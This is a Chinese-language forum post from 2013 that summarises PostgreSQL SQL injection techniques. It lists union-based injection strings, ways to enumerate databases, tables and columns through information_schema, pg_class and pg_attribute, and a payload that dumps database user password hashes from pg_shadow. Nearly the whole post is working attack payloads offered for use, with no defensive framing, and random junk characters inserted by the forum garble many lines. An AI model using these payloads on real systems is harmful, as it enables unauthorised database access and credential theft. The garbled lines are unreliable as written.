找回密码
 立即注册
查看: 2365|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点1 `4 h5 l  Y) f% M+ m7 A) B0 k1 l

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/5 H1 r8 Y$ B: j( d8 |
连接符: %20 , + , /**/

内置函数:4 g0 ]$ X3 ~' ?+ c. o8 t
current_database() //当前数据库名3 r3 K" S1 _, o& A! u+ Y. r
session_user //会话用户6 A- ?4 F! n* M# B
current_user //当前数据库用户
1 l8 T8 N5 q0 V, juser //当前用户
5 |. M/ @- I" B$ b. @version() //数据库版本

Union注射:! X5 L: ]- g" \) N+ m
order by n–
2 C( G1 `; b9 A+ Oand 1=2 union select null,null,null–/ P5 h8 v$ }. T/ n) y7 t
and 1=2 union select ‘beach’,null,null–
: ?0 i: H9 l9 \% E1 v: \and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):# Y& S: f3 \& H; J
group_concat(table_name)
  o) I7 }) Z3 l  a% y3 land 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
- |: u  @# o: X& n. Zand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
6 W$ ]1 d0 u" j0 R+ \(老版本)
* F9 @" x& a1 ]% Kpg_class.oid对应pg_attribute.attrelid
: N( M5 w2 H- o, h/ Tpg_class.relname表名
/ }' N& G* B' g* tpg_attribute.attname字段名

select relname from pg_class获取表名
- o" l. t# h* ~2 \+ Nselect oid from pg_class where 条件 获取参数4 u4 I0 }+ G2 }* M, I: v' [
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:9 h5 t: ^4 {% R+ z: s
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
* e/ `7 X" l6 }and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
. B$ S1 r. @- g9 L9 y由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名- j9 C+ h6 N" c8 N7 j0 F; ?2 h+ M$ R
======================================================================+ |2 i& n7 m6 }6 W; q0 j7 f
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
! D: s; B" q; x, R, {) x. O6 I3 i- F+ oand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表